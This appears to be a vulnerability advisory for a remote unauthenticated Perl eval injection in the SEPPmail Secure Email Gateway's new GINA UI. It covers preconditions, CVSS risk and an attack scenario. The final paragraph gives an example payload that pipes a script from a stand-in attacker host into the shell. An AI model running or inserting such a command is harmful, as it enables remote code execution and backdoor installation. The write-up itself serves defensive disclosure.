SEPPmail Secure Email Gateway EUVD-2026-28588

Exploitation requires only that the vulnerable SEPPmail Secure Email Gateway (versions before 15.0.2.1) is running with the new GINA UI feature deployed and accessible to the attacker. The CVSS vector AV:N/AC:L/PR:N/UI:N confirms no special conditions: remote unauthenticated exploitation against default configurations of internet-facing SEPPmail Secure Email Gateway appliances. The specific limitation is that only installations that have adopted the 'new GINA UI' component are vulnerable - legacy UI versions or deployments where GINA UI is disabled/not deployed would not be affected via this attack vector. Organizations that restrict management interface access to internal networks only would not be vulnerable to internet-based attacks, though internal threat actors or compromised workstations could still exploit the flaw.

This vulnerability represents critical real-world risk based on multiple converging factors. The CVSS 4.0 score of 9.3 with vector AV:N/AC:L/PR:N/UI:N indicates trivial exploitation: network-accessible, low complexity, no authentication, no user interaction required. Attackers can compromise the gateway remotely without credentials. As an email security appliance positioned at network perimeters, SEPPmail gateways are internet-facing by design, maximizing attacker reach. The GINA UI being 'new' suggests potentially wider deployment in recent versions, expanding the attack surface. Reported by a national CERT (NCSC.ch) rather than through bug bounty programs indicates this may have been discovered through incident response or proactive threat hunting, though no CISA KEV listing or public exploit code is currently identified. Email gateways represent high-value targets as they process sensitive communications and often serve as pivot points into internal networks. The combination of maximum CVSS impact ratings (VC:H/VI:H/VA:H) with zero authentication requirements makes this an urgent patch priority despite absence of confirmed active exploitation at time of analysis.

An unauthenticated remote attacker identifies the SEPPmail gateway's GINA UI endpoint through port scanning or reconnaissance of the organization's MX records and web interfaces. The attacker crafts an HTTP request containing malicious Perl code in a vulnerable parameter (e.g., injecting system('wget http://attacker.com/backdoor.sh | sh') or reverse shell commands). The GINA UI endpoint passes this unsanitized input directly to Perl's eval function, executing the attacker's code with the privileges of the web application user (typically root or a highly privileged service account on appliance-based systems). The attacker establishes persistent access, exfiltrates email communications, modifies security policies to allow malicious emails through, or pivots to internal network resources using the gateway's trusted position.